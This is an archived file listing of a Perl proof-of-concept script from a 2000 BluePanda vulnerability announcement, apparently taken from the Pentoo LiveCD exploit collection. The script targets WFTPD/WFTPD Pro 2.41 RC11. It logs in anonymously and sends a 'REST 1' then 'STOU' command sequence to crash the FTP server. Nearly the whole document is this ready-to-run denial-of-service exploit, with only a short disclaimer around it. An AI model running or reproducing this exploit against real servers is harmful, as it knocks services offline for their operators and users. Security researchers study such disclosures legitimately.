home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wftpd / wftpdrest.pl < prev    next >
Text File  |  2005-02-12  |  1KB  |  47 lines
  1. ================================================================
  2. BluePanda Vulnerability Announcement: WFTPD/WFTPD Pro 2.41 RC11
  3. 21/07/2000 (dd/mm/yyyy)
  4.  
  5. bluepanda@dwarf.box.sk
  6. http://bluepanda.box.sk/
  7. #!/usr/bin/perl
  8. #
  9. # WFTPD/WFTPD Pro 2.41 RC11 denial-of-service #2
  10. # Blue Panda - bluepanda@dwarf.box.sk
  11. # http://bluepanda.box.sk/
  12. #
  13. # ----------------------------------------------------------
  14. # Disclaimer: this file is intended as proof of concept, and
  15. # is not intended to be used for illegal purposes. I accept
  16. # no responsibility for damage incurred by the use of it.
  17. # ----------------------------------------------------------
  18. #
  19.  
  20. use IO::Socket;
  21.  
  22. $host = "ftp.host.com" ;
  23. $port = "21";
  24. $user = "anonymous";
  25. $pass = "p\@nda";
  26. $wait = 10;
  27.  
  28. # Connect to server.
  29. print "Connecting to $host:$port...";
  30. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
  31. print "done.\n";
  32.  
  33. print $socket "USER $user\nPASS $pass\nREST 1\nSTOU\n";
  34.  
  35. # Wait a while, just to make sure the commands have arrived.
  36. print "Waiting...";
  37. $time = 0;
  38. while ($time < $wait) {
  39.         sleep(1);
  40.         print ".";
  41.         $time += 1;
  42. }
  43.  
  44. # Finished.
  45. close($socket);
  46. print "\nConnection closed. Finished.\n"
  47.